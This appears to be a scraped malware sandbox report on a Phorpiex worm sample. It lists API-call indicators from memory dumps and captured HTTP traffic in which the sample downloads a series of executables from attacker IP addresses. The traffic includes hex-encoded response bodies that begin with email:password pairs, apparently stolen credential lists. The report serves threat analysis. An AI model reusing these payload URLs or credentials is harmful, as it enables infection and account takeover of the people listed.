24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 7a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T49f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Worm.Phorpiex.Generic Sample 5faa8bac97d1… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 5faa8bac97d1…. Malware family: Worm.Phorpiex.Generic. Threat score 100/100. 14/27 AV engines flagged this file. 7 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/5faa8bac97d186a546c140a89de778f529f94a66052ffbe022aee810d3edb3f1","keywords":["Malicious","Worm.Phorpiex.Generic","malware analysis","sandbox report","threat intelligence","5faa8bac97d186a546c140a89de778f529f94a66052ffbe022aee810d3edb3f1"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","executable"],"identifier":"5faa8bac97d186a546c140a89de778f529f94a66052ffbe022aee810d3edb3f1","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Worm.Phorpiex.Generic","antivirusDetections":{"malicious":14,"total":27},"behavioralIndicators":{"malicious":7,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T6d7,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "00000000-00007160.00000000.135599.00264000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001088.00000000.135922.00374000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002068.00000000.135682.01374000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002508.00000000.136250.00CE4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002788.00000000.135235.00AD4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002968.00000000.135167.00E24000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004720.00000000.135507.00E14000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006600.00000000.135824.00B24000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007116.00000000.135310.00C24000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007160.00000000.135599.00264000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007788.00000000.135431.00BC4000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00008284.00000000.136009.00A14000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00009440.00000000.136426.011D4000.00000002.mdmp")26:Tf67,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "5faa8bac97d186a546c140a89de778f529f94a66052ffbe022aee810d3edb3f1.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "5faa8bac97d186a546c140a89de778f529f94a66052ffbe022aee810d3edb3f1.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001088.00000000.135922.00374000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001088.00000000.135922.00374000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002068.00000000.135682.01374000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002068.00000000.135682.01374000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002508.00000000.136250.00CE4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002508.00000000.136250.00CE4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002788.00000000.135235.00AD4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002788.00000000.135235.00AD4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002968.00000000.135167.00E24000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002968.00000000.135167.00E24000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004720.00000000.135507.00E14000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004720.00000000.135507.00E14000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006600.00000000.135824.00B24000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006600.00000000.135824.00B24000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007116.00000000.135310.00C24000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007116.00000000.135310.00C24000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007160.00000000.135599.00264000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007160.00000000.135599.00264000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007788.00000000.135431.00BC4000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007788.00000000.135431.00BC4000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00008284.00000000.136009.00A14000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00008284.00000000.136009.00A14000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00009440.00000000.136426.011D4000.00000002.mdmp")27:T862,Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00001088.00000000.135922.02FD0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00002068.00000000.135682.03540000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00002508.00000000.136250.00AD0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00002788.00000000.135235.005B0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00002968.00000000.135167.008C0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00004720.00000000.135507.03650000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00006600.00000000.135824.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00007116.00000000.135310.00790000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00007160.00000000.135599.02C80000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00007788.00000000.135431.006A0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00008284.00000000.136009.035B0000.00000004.mdmp") Found reference to API "" (Indicator: "CallWindowProc"; Source: "00000000-00009440.00000000.136426.00D10000.00000004.mdmp")28:Ta32,"" (Indicator: "enumchildwindows"; Source: "00000000-00001088.00000000.135922.02FD0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00002068.00000000.135682.03540000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00002508.00000000.136250.00AD0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00002788.00000000.135235.005B0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00002968.00000000.135167.008C0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004720.00000000.135507.03650000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00006600.00000000.135824.02F70000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00007116.00000000.135310.00790000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00007160.00000000.135599.02C80000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00007788.00000000.135431.006A0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00008284.00000000.136009.035B0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00009440.00000000.136426.00D10000.00000004.mdmp")30:T9f2," HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:39:57 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:13:58 GMT Connection: keep-alive ETag: "6a192096-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /2.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:39:58 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:15:02 GMT Connection: keep-alive ETag: "6a1920d6-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /3.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:00 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:33:20 GMT Connection: keep-alive ETag: "6a192520-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 01 Jun 2026 13:40:00 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=5Ya_514tKmstHH9Z3LmX6Y5UOHAihLYdLu9a.b1kVtY-1780321200.2374022-1.0.1.1-vfleAO4GbCia29sHbLuf4iPWyyLbTnVTfL1inxzp2dxl39Jkemf3Rp_X_fUdbSynpPSO3JnHZDih_4FOYt8fqmTxvvQ3qW2PM7Xzin3Grh1LCiBi70M9Y1VmeRulxSw3; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 01 Jun 2026 14:10:00 GMT Server: cloudflare CF-RAY: a04ea0ad7e712c2d-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 178.16.55.240" Response ==> HTTP/1.1 200 OK Server: nginx/1.31.1 Date: Mon 01 Jun 2026 13:40:00 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Wed 27 May 2026 22:06:41 GMT Connection: keep-alive ETag: "6a176af1-6" Accept-Ranges: bytes with response body ==>313532343232....... "GET /4.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:01 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:34:04 GMT Connection: keep-alive ETag: "6a19254c-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /98180.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 178.16.55.240" Response ==> HTTP/1.1 200 OK Server: nginx/1.31.1 Date: Mon 01 Jun 2026 13:40:01 GMT Content-Type: text/plain Content-Length: 266240 Last-Modified: Wed 27 May 2026 19:09:22 GMT Connection: keep-alive ETag: "6a174162-41000" Accept-Ranges: bytes with response body ==>3230363540696E7363616D7073626C616E63732E6361743A4433303034313937390A6D61726369616C2E73616E736567756E646F406C67652E636F6D3A437269....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 01 Jun 2026 13:40:01 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=M8E_vu9XQEHK5CoBx1EYwvl14wrqZIuYyuNjEpRmw1U-1780321201.8858602-1.0.1.1-LQCByrAsVLyic9V6O9rr_CPrRNgFynlQwD68htaB80hrgb9a5v2BXx2nJbm4jJAhllMQSO1Pyzr0fY4rJsvnxq.yvaD2O6W9snOtw9lelPQC6ZLjOJ8omaNx5r8rJ5n8; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 01 Jun 2026 14:10:01 GMT Server: cloudflare CF-RAY: a04ea0b7c89c1354-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /1/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:02 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Sun 24 May 2026 02:02:45 GMT Connection: keep-alive ETag: "6a125c45-6" Accept-Ranges: bytes with response body ==>35353037390A....... "GET /1/20871.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:02 GMT Content-Type: text/plain Content-Length: 258104 Last-Modified: Fri 22 May 2026 17:24:36 GMT Connection: keep-alive ETag: "6a109154-3f038" Accept-Ranges: bytes with response body ==>6F2E636F6D3A707265676E616E74310A6D6F6D6D61726F776540636F6D636173742E6E65743A68616E6E6168320A6D6F6D6D61726F787340726F636B65746D61....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 01 Jun 2026 13:40:02 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=97HqlRt1fbOL1E8CKPHiPskEJImybX0jwiDuKd_Nxbk-1780321202.861359-1.0.1.1-_5vDBclGkzanxs5RA7JqAk.sgGOM4cZugeazW2TyjbTWs7RyNWKYDeE2_PVHO_CNNiwVBbPjCYpU5XXJtG_qrA2fseqi4LzAnRKL7ZEnUn4G4bislDLqB.eUM.aoZBmN; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 01 Jun 2026 14:10:02 GMT Server: cloudflare CF-RAY: a04ea0bded3d7ad3-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /5.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:03 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:34:50 GMT Connection: keep-alive ETag: "6a19257a-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /3/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:03 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Sun 19 Apr 2026 09:28:25 GMT Connection: keep-alive ETag: "69e4a039-6" Accept-Ranges: bytes with response body ==>33373438380A....... "GET /3/32637.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:03 GMT Content-Type: text/plain Content-Length: 258084 Last-Modified: Sun 19 Apr 2026 09:18:04 GMT Connection: keep-alive ETag: "69e49dcc-3f024" Accept-Ranges: bytes with response body ==>0A333733383133303535403136332E636F6D3A313132323333343435350A6D61726965636F6C6F6D62656C37407961686F6F2E66723A4D6F7464657061737365....... "GET /6.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:04 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:36:24 GMT Connection: keep-alive ETag: "6a1925d8-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 01 Jun 2026 13:40:05 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=pozJOLME64em_PJmEMBieYShiukfeBvkD1KAMym_WOo-1780321205.3546135-1.0.1.1-Op1Aw5oH6LpTtb6IClDYr49DQiuCdT3JKPpcLoopuGlyDHpgFkN8P5xmjl_zqsHIxG0Gd9HSDRc6FXbyittCFkoMjuaa2gWGiUujtp39_x8zaTDMaFk5rde0xBlC4kAt; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 01 Jun 2026 14:10:05 GMT Server: cloudflare CF-RAY: a04ea0cd782c4c71-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /7.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:05 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:37:14 GMT Connection: keep-alive ETag: "6a19260a-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /4/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:06 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Mon 20 Apr 2026 02:00:15 GMT Connection: keep-alive ETag: "69e588af-6" Accept-Ranges: bytes with response body ==>36333532310A....... "GET /4/4245.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:06 GMT Content-Type: text/plain Content-Length: 258918 Last-Modified: Sun 19 Apr 2026 16:30:25 GMT Connection: keep-alive ETag: "69e50321-3f366" Accept-Ranges: bytes with response body ==>6D617274696E6D616E696140616F6C2E636F6D3A477569746172340A646963303031324073616C65636F6C6C6567652E7669632E6564752E61753A426C757368....... "GET /8.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:06 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:37:52 GMT Connection: keep-alive ETag: "6a192630-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 01 Jun 2026 13:40:09 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=kq1iM.lH0pfwQEa_Xe.rjLDf9BO8n8s96UDmdTgdgeA-1780321209.281221-1.0.1.1-9at4We1sz_HRHF2LEUb7VeKmw8y4fS9KomskKSRzf3qzey.wmwKGTPgcapGA9kcewVxQGuG40U1BGt1G3leILO0lXHRySJG1r8R5vbIGu_O3SAuiSbEYnnyrdofDd.R4; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 01 Jun 2026 14:10:09 GMT Server: cloudflare CF-RAY: a04ea0e60e615e49-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /9.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:09 GMT Content-Type: application/octet-stream Content-Length: 18944 Last-Modified: Fri 29 May 2026 05:40:00 GMT Connection: keep-alive ETag: "6a1926b0-4a00" Accept-Ranges: bytes with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: icanhazip.com" Response ==> HTTP/1.1 200 OK Date: Mon 01 Jun 2026 13:40:09 GMT Content-Type: text/plain Content-Length: 14 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET set-cookie: __cf_bm=Nn5d.tABqG4fhauvR9zH7gWSBOOjh6wBP34Yxn2.S74-1780321209.4458306-1.0.1.1-yZ5SuBaEShBiTbq0e8UPhqUtZ7VL1ENIIBwjVqKL.P6dXNL9NJAUQUyi2kbCL8x0URWeRmsu2j375E4bg4eu7EA1KhcIxUNMgHSR1COvttCwWMuPlO89FoLbsJuJU5jT; HttpOnly; Path=/; Domain=icanhazip.com; Expires=Mon 01 Jun 2026 14:10:09 GMT Server: cloudflare CF-RAY: a04ea0e709fcb7dd-SJC alt-svc: h3=":443"; ma=86400 with response body ==>36342E3132342E31322E3136320A....... "GET /5/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:10 GMT Content-Type: text/plain Content-Length: 7 Last-Modified: Thu 30 Apr 2026 12:29:06 GMT Connection: keep-alive ETag: "69f34b12-7" Accept-Ranges: bytes with response body ==>3132303936380A....... "GET /6/n.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/202.0.4664.110 Safari/537.36 Host: 130.12.180.190" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 01 Jun 2026 13:40:10 GMT Content-Type: text/plain Content-Length: 6 Last-Modified: Thu 14 May 2026 17:12:06 GMT Connection: keep-alive ETag: "6a060266-6" Accept-Ranges: bytes with response body ==>33303839330A.......44:T579c,"" (Indicator: "GetDC"; Source: "00000000-00001088.00000000.135922.02FD0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001088.00000000.135922.02FD0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001088.00000000.135922.02FD0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001088.00000000.135922.02FD0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001088.00000000.135922.02FD0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001088.00000000.135922.02FD0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001088.00000000.135922.02FD0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001088.00000000.135922.02FD0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00002068.00000000.135682.03540000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00002068.00000000.135682.03540000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00002068.00000000.135682.03540000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00002068.00000000.135682.03540000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00002068.00000000.135682.03540000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00002068.00000000.135682.03540000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00002068.00000000.135682.03540000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00002068.00000000.135682.03540000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00002508.00000000.136250.00AD0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00002508.00000000.136250.00AD0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00002508.00000000.136250.00AD0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00002508.00000000.136250.00AD0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00002508.00000000.136250.00AD0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; 